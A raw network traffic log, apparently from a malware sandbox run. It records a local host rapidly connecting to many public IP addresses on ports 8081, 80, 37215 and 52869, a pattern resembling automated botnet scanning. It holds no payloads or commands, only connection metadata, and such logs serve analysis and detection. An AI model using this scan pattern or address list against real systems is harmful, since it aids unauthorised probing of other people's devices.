Jul 20, 2024 23:00:59.017225027 CEST	44520	8081	192.168.2.23	99.31.70.158
Jul 20, 2024 23:00:59.018044949 CEST	39708	8081	192.168.2.23	50.238.59.193
Jul 20, 2024 23:00:59.018044949 CEST	39708	8081	192.168.2.23	50.238.59.193
Jul 20, 2024 23:00:59.019437075 CEST	40594	8081	192.168.2.23	50.238.59.193
Jul 20, 2024 23:00:59.019748926 CEST	8081	50012	69.163.38.91	192.168.2.23
Jul 20, 2024 23:00:59.019766092 CEST	80	37454	95.47.49.37	192.168.2.23
Jul 20, 2024 23:00:59.019840956 CEST	37454	80	192.168.2.23	95.47.49.37
Jul 20, 2024 23:00:59.019896030 CEST	53500	80	192.168.2.23	95.212.185.109
Jul 20, 2024 23:00:59.019896030 CEST	53500	80	192.168.2.23	95.212.185.109
Jul 20, 2024 23:00:59.020941973 CEST	8081	50896	69.163.38.91	192.168.2.23
Jul 20, 2024 23:00:59.021070957 CEST	50896	8081	192.168.2.23	69.163.38.91
Jul 20, 2024 23:00:59.021117926 CEST	52869	37328	25.108.103.192	192.168.2.23
Jul 20, 2024 23:00:59.021142960 CEST	37215	46354	84.167.140.65	192.168.2.23
Jul 20, 2024 23:00:59.021289110 CEST	36392	37215	192.168.2.23	157.153.207.206
Jul 20, 2024 23:00:59.021337986 CEST	37328	52869	192.168.2.23	25.108.103.192
Jul 20, 2024 23:00:59.021337986 CEST	46354	37215	192.168.2.23	84.167.140.65
Jul 20, 2024 23:00:59.022391081 CEST	36278	52869	192.168.2.23	112.103.96.49
Jul 20, 2024 23:00:59.022701025 CEST	43240	8081	192.168.2.23	40.34.22.17
Jul 20, 2024 23:00:59.022701025 CEST	43240	8081	192.168.2.23	40.34.22.17
Jul 20, 2024 23:00:59.023163080 CEST	8081	39708	50.238.59.193	192.168.2.23
Jul 20, 2024 23:00:59.024802923 CEST	80	39034	95.90.8.227	192.168.2.23
Jul 20, 2024 23:00:59.024832964 CEST	8081	57144	136.141.153.70	192.168.2.23
Jul 20, 2024 23:00:59.024862051 CEST	8081	42264	158.113.146.43	192.168.2.23
Jul 20, 2024 23:00:59.024889946 CEST	80	51832	95.69.1.49	192.168.2.23
Jul 20, 2024 23:00:59.024919033 CEST	8081	33260	40.128.147.134	192.168.2.23
Jul 20, 2024 23:00:59.024976015 CEST	8081	40594	50.238.59.193	192.168.2.23
Jul 20, 2024 23:00:59.025629044 CEST	80	53500	95.212.185.109	192.168.2.23
Jul 20, 2024 23:00:59.025775909 CEST	40594	8081	192.168.2.23	50.238.59.193
Jul 20, 2024 23:00:59.026390076 CEST	54470	80	192.168.2.23	95.212.185.109
Jul 20, 2024 23:00:59.027282953 CEST	37215	36392	157.153.207.206	192.168.2.23
Jul 20, 2024 23:00:59.027554989 CEST	44126	8081	192.168.2.23	40.34.22.17
Jul 20, 2024 23:00:59.027554989 CEST	36392	37215	192.168.2.23	157.153.207.206
Jul 20, 2024 23:00:59.027935982 CEST	48984	37215	192.168.2.23	41.231.235.189
Jul 20, 2024 23:00:59.028606892 CEST	58218	8081	192.168.2.23	5.212.63.8
Jul 20, 2024 23:00:59.028606892 CEST	58218	8081	192.168.2.23	5.212.63.8
Jul 20, 2024 23:00:59.028624058 CEST	52869	36278	112.103.96.49	192.168.2.23
Jul 20, 2024 23:00:59.028672934 CEST	36278	52869	192.168.2.23	112.103.96.49
Jul 20, 2024 23:00:59.028796911 CEST	8081	54186	67.126.95.220	192.168.2.23
Jul 20, 2024 23:00:59.029743910 CEST	8081	43240	40.34.22.17	192.168.2.23
Jul 20, 2024 23:00:59.029772043 CEST	59102	8081	192.168.2.23	5.212.63.8
Jul 20, 2024 23:00:59.030196905 CEST	60006	80	192.168.2.23	95.27.136.95
Jul 20, 2024 23:00:59.030196905 CEST	60006	80	192.168.2.23	95.27.136.95
Jul 20, 2024 23:00:59.032459021 CEST	47030	8081	192.168.2.23	126.203.110.229
Jul 20, 2024 23:00:59.032459021 CEST	47030	8081	192.168.2.23	126.203.110.229
Jul 20, 2024 23:00:59.032746077 CEST	43928	52869	192.168.2.23	169.107.25.12
Jul 20, 2024 23:00:59.032785892 CEST	46326	37215	192.168.2.23	157.222.120.169
Jul 20, 2024 23:00:59.033456087 CEST	8081	52988	45.154.193.96	192.168.2.23
Jul 20, 2024 23:00:59.033961058 CEST	60984	80	192.168.2.23	95.27.136.95
Jul 20, 2024 23:00:59.035058022 CEST	47918	8081	192.168.2.23	126.203.110.229
Jul 20, 2024 23:00:59.036405087 CEST	80	54470	95.212.185.109	192.168.2.23
Jul 20, 2024 23:00:59.036489964 CEST	54470	80	192.168.2.23	95.212.185.109
Jul 20, 2024 23:00:59.036638021 CEST	8081	44126	40.34.22.17	192.168.2.23
Jul 20, 2024 23:00:59.036700010 CEST	37215	48984	41.231.235.189	192.168.2.23
Jul 20, 2024 23:00:59.036705017 CEST	44126	8081	192.168.2.23	40.34.22.17
Jul 20, 2024 23:00:59.036752939 CEST	8081	58218	5.212.63.8	192.168.2.23
Jul 20, 2024 23:00:59.036753893 CEST	48984	37215	192.168.2.23	41.231.235.189
Jul 20, 2024 23:00:59.036784887 CEST	80	45154	95.223.155.253	192.168.2.23
Jul 20, 2024 23:00:59.036813974 CEST	8081	59102	5.212.63.8	192.168.2.23
Jul 20, 2024 23:00:59.036889076 CEST	59102	8081	192.168.2.23	5.212.63.8
Jul 20, 2024 23:00:59.036950111 CEST	80	60006	95.27.136.95	192.168.2.23
Jul 20, 2024 23:00:59.037290096 CEST	43892	8081	192.168.2.23	65.226.156.101
Jul 20, 2024 23:00:59.037290096 CEST	43892	8081	192.168.2.23	65.226.156.101
Jul 20, 2024 23:00:59.037741899 CEST	8081	47030	126.203.110.229	192.168.2.23
Jul 20, 2024 23:00:59.038002014 CEST	58944	37215	192.168.2.23	41.20.92.100
Jul 20, 2024 23:00:59.038139105 CEST	52869	43928	169.107.25.12	192.168.2.23
Jul 20, 2024 23:00:59.038259983 CEST	37215	46326	157.222.120.169	192.168.2.23
Jul 20, 2024 23:00:59.038304090 CEST	43928	52869	192.168.2.23	169.107.25.12
Jul 20, 2024 23:00:59.038326979 CEST	46326	37215	192.168.2.23	157.222.120.169
Jul 20, 2024 23:00:59.038403988 CEST	44778	8081	192.168.2.23	65.226.156.101
Jul 20, 2024 23:00:59.038651943 CEST	56286	80	192.168.2.23	95.16.252.201
Jul 20, 2024 23:00:59.038651943 CEST	56286	80	192.168.2.23	95.16.252.201
Jul 20, 2024 23:00:59.039196014 CEST	80	60984	95.27.136.95	192.168.2.23
Jul 20, 2024 23:00:59.039242029 CEST	60984	80	192.168.2.23	95.27.136.95
Jul 20, 2024 23:00:59.039829016 CEST	53182	52869	192.168.2.23	187.26.13.206
Jul 20, 2024 23:00:59.040071964 CEST	8081	47918	126.203.110.229	192.168.2.23
Jul 20, 2024 23:00:59.040112972 CEST	47918	8081	192.168.2.23	126.203.110.229
Jul 20, 2024 23:00:59.040594101 CEST	8081	49148	40.204.235.232	192.168.2.23
Jul 20, 2024 23:00:59.040821075 CEST	53188	8081	192.168.2.23	50.129.227.225
Jul 20, 2024 23:00:59.040821075 CEST	53188	8081	192.168.2.23	50.129.227.225
Jul 20, 2024 23:00:59.042368889 CEST	57270	80	192.168.2.23	95.16.252.201
Jul 20, 2024 23:00:59.042557955 CEST	56980	37215	192.168.2.23	41.75.227.101
Jul 20, 2024 23:00:59.042649031 CEST	8081	43892	65.226.156.101	192.168.2.23
Jul 20, 2024 23:00:59.042996883 CEST	8081	58218	5.212.63.8	192.168.2.23
Jul 20, 2024 23:00:59.043025970 CEST	54078	8081	192.168.2.23	50.129.227.225
Jul 20, 2024 23:00:59.043039083 CEST	58218	8081	192.168.2.23	5.212.63.8
Jul 20, 2024 23:00:59.043482065 CEST	37215	58944	41.20.92.100	192.168.2.23
Jul 20, 2024 23:00:59.043622971 CEST	58944	37215	192.168.2.23	41.20.92.100
Jul 20, 2024 23:00:59.044143915 CEST	8081	44778	65.226.156.101	192.168.2.23
Jul 20, 2024 23:00:59.044202089 CEST	80	56286	95.16.252.201	192.168.2.23
Jul 20, 2024 23:00:59.044306040 CEST	44778	8081	192.168.2.23	65.226.156.101
Jul 20, 2024 23:00:59.044621944 CEST	8081	43480	67.253.170.233	192.168.2.23
Jul 20, 2024 23:00:59.045233965 CEST	52869	53182	187.26.13.206	192.168.2.23
Jul 20, 2024 23:00:59.045285940 CEST	53182	52869	192.168.2.23	187.26.13.206
Jul 20, 2024 23:00:59.045697927 CEST	44204	8081	192.168.2.23	62.145.56.184
Jul 20, 2024 23:00:59.045698881 CEST	44204	8081	192.168.2.23	62.145.56.184
Jul 20, 2024 23:00:59.046525955 CEST	8081	53188	50.129.227.225	192.168.2.23
Jul 20, 2024 23:00:59.047040939 CEST	45090	8081	192.168.2.23	62.145.56.184
Jul 20, 2024 23:00:59.047158003 CEST	52026	52869	192.168.2.23	186.94.179.5
Jul 20, 2024 23:00:59.047274113 CEST	37392	80	192.168.2.23	95.248.74.27
Jul 20, 2024 23:00:59.047274113 CEST	37392	80	192.168.2.23	95.248.74.27
Jul 20, 2024 23:00:59.047508955 CEST	50560	37215	192.168.2.23	157.213.175.190
Jul 20, 2024 23:00:59.047708035 CEST	80	57270	95.16.252.201	192.168.2.23
Jul 20, 2024 23:00:59.047763109 CEST	57270	80	192.168.2.23	95.16.252.201
Jul 20, 2024 23:00:59.048253059 CEST	37215	56980	41.75.227.101	192.168.2.23
Jul 20, 2024 23:00:59.048291922 CEST	56980	37215	192.168.2.23	41.75.227.101
Jul 20, 2024 23:00:59.048422098 CEST	8081	54078	50.129.227.225	192.168.2.23
Jul 20, 2024 23:00:59.048475027 CEST	54078	8081	192.168.2.23	50.129.227.225
Jul 20, 2024 23:00:59.048620939 CEST	8081	49152	67.146.206.6	192.168.2.23
Jul 20, 2024 23:00:59.048804045 CEST	80	46052	95.217.183.227	192.168.2.23
Jul 20, 2024 23:00:59.049675941 CEST	46676	8081	192.168.2.23	102.118.189.255
Jul 20, 2024 23:00:59.049675941 CEST	46676	8081	192.168.2.23	102.118.189.255
Jul 20, 2024 23:00:59.051099062 CEST	38384	80	192.168.2.23	95.248.74.27
Jul 20, 2024 23:00:59.051110983 CEST	8081	44204	62.145.56.184	192.168.2.23
Jul 20, 2024 23:00:59.051762104 CEST	47566	8081	192.168.2.23	102.118.189.255
Jul 20, 2024 23:00:59.052243948 CEST	52552	37215	192.168.2.23	157.113.160.230
Jul 20, 2024 23:00:59.053272963 CEST	8081	45090	62.145.56.184	192.168.2.23
Jul 20, 2024 23:00:59.053318024 CEST	45090	8081	192.168.2.23	62.145.56.184
Jul 20, 2024 23:00:59.053525925 CEST	52869	52026	186.94.179.5	192.168.2.23
Jul 20, 2024 23:00:59.053561926 CEST	80	37392	95.248.74.27	192.168.2.23
Jul 20, 2024 23:00:59.053591967 CEST	52026	52869	192.168.2.23	186.94.179.5
Jul 20, 2024 23:00:59.053885937 CEST	55204	8081	192.168.2.23	71.33.35.123
Jul 20, 2024 23:00:59.053885937 CEST	55204	8081	192.168.2.23	71.33.35.123
Jul 20, 2024 23:00:59.053927898 CEST	37215	50560	157.213.175.190	192.168.2.23
Jul 20, 2024 23:00:59.054214001 CEST	50560	37215	192.168.2.23	157.213.175.190
Jul 20, 2024 23:00:59.054222107 CEST	40048	52869	192.168.2.23	209.101.108.92
Jul 20, 2024 23:00:59.055264950 CEST	56092	8081	192.168.2.23	71.33.35.123
Jul 20, 2024 23:00:59.055480957 CEST	56938	80	192.168.2.23	95.141.246.34
Jul 20, 2024 23:00:59.055552006 CEST	56938	80	192.168.2.23	95.141.246.34
Jul 20, 2024 23:00:59.056277037 CEST	8081	46676	102.118.189.255	192.168.2.23
Jul 20, 2024 23:00:59.056679964 CEST	8081	43636	99.31.70.158	192.168.2.23
Jul 20, 2024 23:00:59.056763887 CEST	51490	37215	192.168.2.23	41.75.68.114
Jul 20, 2024 23:00:59.057897091 CEST	50856	8081	192.168.2.23	39.251.53.179
Jul 20, 2024 23:00:59.057897091 CEST	50856	8081	192.168.2.23	39.251.53.179
Jul 20, 2024 23:00:59.059288025 CEST	80	38384	95.248.74.27	192.168.2.23
Jul 20, 2024 23:00:59.059334993 CEST	38384	80	192.168.2.23	95.248.74.27
Jul 20, 2024 23:00:59.059519053 CEST	57936	80	192.168.2.23	95.141.246.34
Jul 20, 2024 23:00:59.060082912 CEST	51744	8081	192.168.2.23	39.251.53.179
Jul 20, 2024 23:00:59.060630083 CEST	8081	50012	69.163.38.91	192.168.2.23
Jul 20, 2024 23:00:59.060868979 CEST	80	36492	95.47.49.37	192.168.2.23
Jul 20, 2024 23:00:59.061068058 CEST	8081	47566	102.118.189.255	192.168.2.23
Jul 20, 2024 23:00:59.061166048 CEST	47566	8081	192.168.2.23	102.118.189.255
Jul 20, 2024 23:00:59.061811924 CEST	37215	52552	157.113.160.230	192.168.2.23
Jul 20, 2024 23:00:59.061839104 CEST	55002	52869	192.168.2.23	144.0.5.154
Jul 20, 2024 23:00:59.061966896 CEST	52552	37215	192.168.2.23	157.113.160.230
Jul 20, 2024 23:00:59.062269926 CEST	58330	37215	192.168.2.23	41.128.110.44
Jul 20, 2024 23:00:59.062885046 CEST	42124	8081	192.168.2.23	83.20.70.35
Jul 20, 2024 23:00:59.062885046 CEST	42124	8081	192.168.2.23	83.20.70.35
Jul 20, 2024 23:00:59.064080000 CEST	8081	55204	71.33.35.123	192.168.2.23
Jul 20, 2024 23:00:59.064367056 CEST	43014	8081	192.168.2.23	83.20.70.35
Jul 20, 2024 23:00:59.064660072 CEST	8081	39708	50.238.59.193	192.168.2.23
Jul 20, 2024 23:00:59.064778090 CEST	38120	80	192.168.2.23	95.16.233.29
Jul 20, 2024 23:00:59.064778090 CEST	38120	80	192.168.2.23	95.16.233.29
Jul 20, 2024 23:00:59.065090895 CEST	52869	40048	209.101.108.92	192.168.2.23
Jul 20, 2024 23:00:59.065180063 CEST	40048	52869	192.168.2.23	209.101.108.92
Jul 20, 2024 23:00:59.066720963 CEST	8081	56092	71.33.35.123	192.168.2.23
Jul 20, 2024 23:00:59.066828966 CEST	42998	8081	192.168.2.23	160.20.175.254
Jul 20, 2024 23:00:59.066828966 CEST	42998	8081	192.168.2.23	160.20.175.254
Jul 20, 2024 23:00:59.066931009 CEST	56092	8081	192.168.2.23	71.33.35.123
Jul 20, 2024 23:00:59.067220926 CEST	80	56938	95.141.246.34	192.168.2.23
Jul 20, 2024 23:00:59.067282915 CEST	59916	37215	192.168.2.23	157.129.228.162
Jul 20, 2024 23:00:59.067923069 CEST	39126	80	192.168.2.23	95.16.233.29
Jul 20, 2024 23:00:59.068639994 CEST	43888	8081	192.168.2.23	160.20.175.254
Jul 20, 2024 23:00:59.068640947 CEST	80	53500	95.212.185.109	192.168.2.23
Jul 20, 2024 23:00:59.069022894 CEST	41746	52869	192.168.2.23	115.161.142.144
Jul 20, 2024 23:00:59.069108009 CEST	37215	51490	41.75.68.114	192.168.2.23
Jul 20, 2024 23:00:59.069158077 CEST	51490	37215	192.168.2.23	41.75.68.114
Jul 20, 2024 23:00:59.071086884 CEST	8081	50856	39.251.53.179	192.168.2.23
Jul 20, 2024 23:00:59.071141005 CEST	49870	8081	192.168.2.23	77.232.27.69
Jul 20, 2024 23:00:59.071141005 CEST	49870	8081	192.168.2.23	77.232.27.69
Jul 20, 2024 23:00:59.071811914 CEST	39268	37215	192.168.2.23	41.224.244.226
Jul 20, 2024 23:00:59.072417974 CEST	50762	8081	192.168.2.23	77.232.27.69
Jul 20, 2024 23:00:59.072700024 CEST	34888	80	192.168.2.23	95.107.6.30
Jul 20, 2024 23:00:59.072700024 CEST	34888	80	192.168.2.23	95.107.6.30
Jul 20, 2024 23:00:59.073287010 CEST	8081	43240	40.34.22.17	192.168.2.23
Jul 20, 2024 23:00:59.073441029 CEST	80	57936	95.141.246.34	192.168.2.23
Jul 20, 2024 23:00:59.073489904 CEST	57936	80	192.168.2.23	95.141.246.34
Jul 20, 2024 23:00:59.073652983 CEST	8081	51744	39.251.53.179	192.168.2.23
Jul 20, 2024 23:00:59.073703051 CEST	51744	8081	192.168.2.23	39.251.53.179
Jul 20, 2024 23:00:59.074767113 CEST	52869	55002	144.0.5.154	192.168.2.23
Jul 20, 2024 23:00:59.074807882 CEST	55002	52869	192.168.2.23	144.0.5.154
Jul 20, 2024 23:00:59.075056076 CEST	37215	58330	41.128.110.44	192.168.2.23
Jul 20, 2024 23:00:59.075079918 CEST	39242	8081	192.168.2.23	50.166.250.192
Jul 20, 2024 23:00:59.075079918 CEST	39242	8081	192.168.2.23	50.166.250.192
Jul 20, 2024 23:00:59.075131893 CEST	58330	37215	192.168.2.23	41.128.110.44
Jul 20, 2024 23:00:59.075546980 CEST	8081	42124	83.20.70.35	192.168.2.23
Jul 20, 2024 23:00:59.076334953 CEST	49530	52869	192.168.2.23	132.86.136.162
Jul 20, 2024 23:00:59.076530933 CEST	35900	80	192.168.2.23	95.107.6.30
Jul 20, 2024 23:00:59.076787949 CEST	56186	37215	192.168.2.23	157.159.217.82
Jul 20, 2024 23:00:59.077114105 CEST	40136	8081	192.168.2.23	50.166.250.192
Jul 20, 2024 23:00:59.077271938 CEST	8081	43014	83.20.70.35	192.168.2.23
Jul 20, 2024 23:00:59.077337027 CEST	80	38120	95.16.233.29	192.168.2.23
Jul 20, 2024 23:00:59.077337980 CEST	43014	8081	192.168.2.23	83.20.70.35
Jul 20, 2024 23:00:59.079533100 CEST	43762	8081	192.168.2.23	47.26.45.215
Jul 20, 2024 23:00:59.079534054 CEST	43762	8081	192.168.2.23	47.26.45.215
Jul 20, 2024 23:00:59.080527067 CEST	8081	42998	160.20.175.254	192.168.2.23
Jul 20, 2024 23:00:59.080585003 CEST	37215	59916	157.129.228.162	192.168.2.23
Jul 20, 2024 23:00:59.080617905 CEST	80	39126	95.16.233.29	192.168.2.23
Jul 20, 2024 23:00:59.080630064 CEST	59916	37215	192.168.2.23	157.129.228.162
Jul 20, 2024 23:00:59.080676079 CEST	8081	43888	160.20.175.254	192.168.2.23
Jul 20, 2024 23:00:59.080693960 CEST	39126	80	192.168.2.23	95.16.233.29
Jul 20, 2024 23:00:59.080707073 CEST	52869	41746	115.161.142.144	192.168.2.23
Jul 20, 2024 23:00:59.080750942 CEST	41746	52869	192.168.2.23	115.161.142.144
Jul 20, 2024 23:00:59.080765963 CEST	8081	49870	77.232.27.69	192.168.2.23
Jul 20, 2024 23:00:59.080823898 CEST	37215	39268	41.224.244.226	192.168.2.23
Jul 20, 2024 23:00:59.080842972 CEST	43888	8081	192.168.2.23	160.20.175.254
Jul 20, 2024 23:00:59.080852985 CEST	8081	50762	77.232.27.69	192.168.2.23
Jul 20, 2024 23:00:59.080873013 CEST	39268	37215	192.168.2.23	41.224.244.226
Jul 20, 2024 23:00:59.080883026 CEST	80	34888	95.107.6.30	192.168.2.23
Jul 20, 2024 23:00:59.080912113 CEST	8081	47030	126.203.110.229	192.168.2.23
Jul 20, 2024 23:00:59.080945969 CEST	80	60006	95.27.136.95	192.168.2.23
Jul 20, 2024 23:00:59.080955982 CEST	44656	8081	192.168.2.23	47.26.45.215
Jul 20, 2024 23:00:59.081507921 CEST	50762	8081	192.168.2.23	77.232.27.69
Jul 20, 2024 23:00:59.081507921 CEST	59870	80	192.168.2.23	95.102.82.117
Jul 20, 2024 23:00:59.081507921 CEST	59870	80	192.168.2.23	95.102.82.117
Jul 20, 2024 23:00:59.081641912 CEST	50524	37215	192.168.2.23	197.26.114.175
Jul 20, 2024 23:00:59.083389997 CEST	50118	52869	192.168.2.23	74.116.148.181
Jul 20, 2024 23:00:59.083933115 CEST	8081	39242	50.166.250.192	192.168.2.23
Jul 20, 2024 23:00:59.083992958 CEST	52869	49530	132.86.136.162	192.168.2.23
Jul 20, 2024 23:00:59.084022999 CEST	80	35900	95.107.6.30	192.168.2.23
Jul 20, 2024 23:00:59.084034920 CEST	49530	52869	192.168.2.23	132.86.136.162
Jul 20, 2024 23:00:59.084072113 CEST	35900	80	192.168.2.23	95.107.6.30
Jul 20, 2024 23:00:59.084518909 CEST	49602	8081	192.168.2.23	221.124.98.36
Jul 20, 2024 23:00:59.084518909 CEST	49602	8081	192.168.2.23	221.124.98.36
Jul 20, 2024 23:00:59.084707022 CEST	80	56286	95.16.252.201	192.168.2.23
Jul 20, 2024 23:00:59.084856033 CEST	8081	43892	65.226.156.101	192.168.2.23
Jul 20, 2024 23:00:59.086174965 CEST	60890	80	192.168.2.23	95.102.82.117
Jul 20, 2024 23:00:59.086901903 CEST	50488	8081	192.168.2.23	221.124.98.36
Jul 20, 2024 23:00:59.087346077 CEST	37215	56186	157.159.217.82	192.168.2.23
Jul 20, 2024 23:00:59.087377071 CEST	8081	40136	50.166.250.192	192.168.2.23
Jul 20, 2024 23:00:59.087415934 CEST	56186	37215	192.168.2.23	157.159.217.82
Jul 20, 2024 23:00:59.087430000 CEST	40136	8081	192.168.2.23	50.166.250.192
Jul 20, 2024 23:00:59.087506056 CEST	37060	37215	192.168.2.23	157.30.105.107
Jul 20, 2024 23:00:59.087647915 CEST	8081	43762	47.26.45.215	192.168.2.23
Jul 20, 2024 23:00:59.087798119 CEST	8081	44656	47.26.45.215	192.168.2.23
Jul 20, 2024 23:00:59.087846041 CEST	44656	8081	192.168.2.23	47.26.45.215
Jul 20, 2024 23:00:59.088540077 CEST	37215	50524	197.26.114.175	192.168.2.23
Jul 20, 2024 23:00:59.088571072 CEST	80	59870	95.102.82.117	192.168.2.23
Jul 20, 2024 23:00:59.088610888 CEST	50524	37215	192.168.2.23	197.26.114.175
Jul 20, 2024 23:00:59.089201927 CEST	59246	8081	192.168.2.23	91.55.81.201
Jul 20, 2024 23:00:59.089287043 CEST	59246	8081	192.168.2.23	91.55.81.201
Jul 20, 2024 23:00:59.089699030 CEST	49722	52869	192.168.2.23	132.182.11.252
Jul 20, 2024 23:00:59.089855909 CEST	52869	50118	74.116.148.181	192.168.2.23
Jul 20, 2024 23:00:59.089936972 CEST	50118	52869	192.168.2.23	74.116.148.181
Jul 20, 2024 23:00:59.090399027 CEST	8081	49602	221.124.98.36	192.168.2.23
Jul 20, 2024 23:00:59.090485096 CEST	60130	8081	192.168.2.23	91.55.81.201
Jul 20, 2024 23:00:59.090714931 CEST	42564	80	192.168.2.23	95.74.78.222
Jul 20, 2024 23:00:59.090714931 CEST	42564	80	192.168.2.23	95.74.78.222
Jul 20, 2024 23:00:59.092190981 CEST	80	60890	95.102.82.117	192.168.2.23
Jul 20, 2024 23:00:59.092251062 CEST	60890	80	192.168.2.23	95.102.82.117
Jul 20, 2024 23:00:59.092319965 CEST	8081	50488	221.124.98.36	192.168.2.23
Jul 20, 2024 23:00:59.092344046 CEST	36396	37215	192.168.2.23	81.147.177.5
Jul 20, 2024 23:00:59.092375994 CEST	50488	8081	192.168.2.23	221.124.98.36
Jul 20, 2024 23:00:59.093327045 CEST	8081	53188	50.129.227.225	192.168.2.23
Jul 20, 2024 23:00:59.093336105 CEST	48840	8081	192.168.2.23	13.154.39.145
Jul 20, 2024 23:00:59.093336105 CEST	48840	8081	192.168.2.23	13.154.39.145
Jul 20, 2024 23:00:59.093357086 CEST	8081	44204	62.145.56.184	192.168.2.23
Jul 20, 2024 23:00:59.093391895 CEST	37215	37060	157.30.105.107	192.168.2.23
Jul 20, 2024 23:00:59.093449116 CEST	37060	37215	192.168.2.23	157.30.105.107
Jul 20, 2024 23:00:59.094464064 CEST	8081	59246	91.55.81.201	192.168.2.23
Jul 20, 2024 23:00:59.095180988 CEST	43590	80	192.168.2.23	95.74.78.222
Jul 20, 2024 23:00:59.095428944 CEST	52869	49722	132.182.11.252	192.168.2.23
Jul 20, 2024 23:00:59.095681906 CEST	49722	52869	192.168.2.23	132.182.11.252
Jul 20, 2024 23:00:59.095793009 CEST	49724	8081	192.168.2.23	13.154.39.145
Jul 20, 2024 23:00:59.095931053 CEST	8081	60130	91.55.81.201	192.168.2.23
Jul 20, 2024 23:00:59.095983982 CEST	80	42564	95.74.78.222	192.168.2.23
Jul 20, 2024 23:00:59.096080065 CEST	60130	8081	192.168.2.23	91.55.81.201
Jul 20, 2024 23:00:59.096113920 CEST	46338	52869	192.168.2.23	210.116.25.221
Jul 20, 2024 23:00:59.096728086 CEST	8081	46676	102.118.189.255	192.168.2.23
Jul 20, 2024 23:00:59.096760035 CEST	80	37392	95.248.74.27	192.168.2.23
Jul 20, 2024 23:00:59.097567081 CEST	37215	36396	81.147.177.5	192.168.2.23
Jul 20, 2024 23:00:59.097606897 CEST	36396	37215	192.168.2.23	81.147.177.5
Jul 20, 2024 23:00:59.097826004 CEST	38946	37215	192.168.2.23	67.15.208.48
Jul 20, 2024 23:00:59.098443031 CEST	8081	48840	13.154.39.145	192.168.2.23
Jul 20, 2024 23:00:59.098460913 CEST	54730	8081	192.168.2.23	116.31.165.18
Jul 20, 2024 23:00:59.098462105 CEST	54730	8081	192.168.2.23	116.31.165.18
Jul 20, 2024 23:00:59.099647045 CEST	55616	8081	192.168.2.23	116.31.165.18
Jul 20, 2024 23:00:59.100060940 CEST	47632	80	192.168.2.23	95.81.115.211
Jul 20, 2024 23:00:59.100060940 CEST	47632	80	192.168.2.23	95.81.115.211
Jul 20, 2024 23:00:59.100470066 CEST	80	43590	95.74.78.222	192.168.2.23
Jul 20, 2024 23:00:59.100516081 CEST	43590	80	192.168.2.23	95.74.78.222
Jul 20, 2024 23:00:59.102123022 CEST	43378	8081	192.168.2.23	35.61.103.70
Jul 20, 2024 23:00:59.102123022 CEST	43378	8081	192.168.2.23	35.61.103.70
Jul 20, 2024 23:00:59.102492094 CEST	46650	37215	192.168.2.23	110.243.142.209
Jul 20, 2024 23:00:59.103205919 CEST	60912	52869	192.168.2.23	114.190.123.93
Jul 20, 2024 23:00:59.103311062 CEST	48668	80	192.168.2.23	95.81.115.211
Jul 20, 2024 23:00:59.104386091 CEST	44266	8081	192.168.2.23	35.61.103.70
Jul 20, 2024 23:00:59.107383966 CEST	8081	55204	71.33.35.123	192.168.2.23
Jul 20, 2024 23:00:59.107409000 CEST	36334	8081	192.168.2.23	146.31.29.110
Jul 20, 2024 23:00:59.107409000 CEST	36334	8081	192.168.2.23	146.31.29.110
Jul 20, 2024 23:00:59.107530117 CEST	8081	49724	13.154.39.145	192.168.2.23
Jul 20, 2024 23:00:59.107562065 CEST	52869	46338	210.116.25.221	192.168.2.23
Jul 20, 2024 23:00:59.107578993 CEST	49724	8081	192.168.2.23	13.154.39.145
Jul 20, 2024 23:00:59.107609034 CEST	46338	52869	192.168.2.23	210.116.25.221
Jul 20, 2024 23:00:59.107620955 CEST	37215	38946	67.15.208.48	192.168.2.23
Jul 20, 2024 23:00:59.107686996 CEST	8081	54730	116.31.165.18	192.168.2.23
Jul 20, 2024 23:00:59.107757092 CEST	38946	37215	192.168.2.23	67.15.208.48
Jul 20, 2024 23:00:59.107949972 CEST	8081	55616	116.31.165.18	192.168.2.23
Jul 20, 2024 23:00:59.107980013 CEST	80	47632	95.81.115.211	192.168.2.23
Jul 20, 2024 23:00:59.108000040 CEST	55616	8081	192.168.2.23	116.31.165.18
Jul 20, 2024 23:00:59.108031988 CEST	39616	37215	192.168.2.23	157.134.191.30
Jul 20, 2024 23:00:59.108040094 CEST	8081	43378	35.61.103.70	192.168.2.23
Jul 20, 2024 23:00:59.108071089 CEST	37215	46650	110.243.142.209	192.168.2.23
Jul 20, 2024 23:00:59.108114958 CEST	46650	37215	192.168.2.23	110.243.142.209
Jul 20, 2024 23:00:59.108609915 CEST	37222	8081	192.168.2.23	146.31.29.110
Jul 20, 2024 23:00:59.108961105 CEST	59510	80	192.168.2.23	95.157.203.128
Jul 20, 2024 23:00:59.108961105 CEST	59510	80	192.168.2.23	95.157.203.128
Jul 20, 2024 23:00:59.111049891 CEST	80	56938	95.141.246.34	192.168.2.23
Jul 20, 2024 23:00:59.111217976 CEST	44222	8081	192.168.2.23	95.74.8.198
Jul 20, 2024 23:00:59.111217976 CEST	44222	8081	192.168.2.23	95.74.8.198
Jul 20, 2024 23:00:59.111248016 CEST	52869	60912	114.190.123.93	192.168.2.23
Jul 20, 2024 23:00:59.111278057 CEST	80	48668	95.81.115.211	192.168.2.23
Jul 20, 2024 23:00:59.111289024 CEST	54012	52869	192.168.2.23	218.185.172.90
Jul 20, 2024 23:00:59.111289024 CEST	60912	52869	192.168.2.23	114.190.123.93
Jul 20, 2024 23:00:59.111310005 CEST	8081	44266	35.61.103.70	192.168.2.23
Jul 20, 2024 23:00:59.111320972 CEST	48668	80	192.168.2.23	95.81.115.211
Jul 20, 2024 23:00:59.111773014 CEST	44266	8081	192.168.2.23	35.61.103.70
Jul 20, 2024 23:00:59.112042904 CEST	60552	80	192.168.2.23	95.157.203.128
Jul 20, 2024 23:00:59.113603115 CEST	45110	8081	192.168.2.23	95.74.8.198
Jul 20, 2024 23:00:59.113789082 CEST	8081	50856	39.251.53.179	192.168.2.23
Jul 20, 2024 23:00:59.113884926 CEST	8081	36334	146.31.29.110	192.168.2.23
Jul 20, 2024 23:00:59.113915920 CEST	37215	39616	157.134.191.30	192.168.2.23
Jul 20, 2024 23:00:59.113955021 CEST	39616	37215	192.168.2.23	157.134.191.30
Jul 20, 2024 23:00:59.113966942 CEST	8081	37222	146.31.29.110	192.168.2.23
Jul 20, 2024 23:00:59.114176035 CEST	37222	8081	192.168.2.23	146.31.29.110
Jul 20, 2024 23:00:59.114377975 CEST	80	59510	95.157.203.128	192.168.2.23
Jul 20, 2024 23:00:59.114434958 CEST	56156	80	192.168.2.23	95.170.196.15
Jul 20, 2024 23:00:59.114434958 CEST	56156	80	192.168.2.23	95.170.196.15
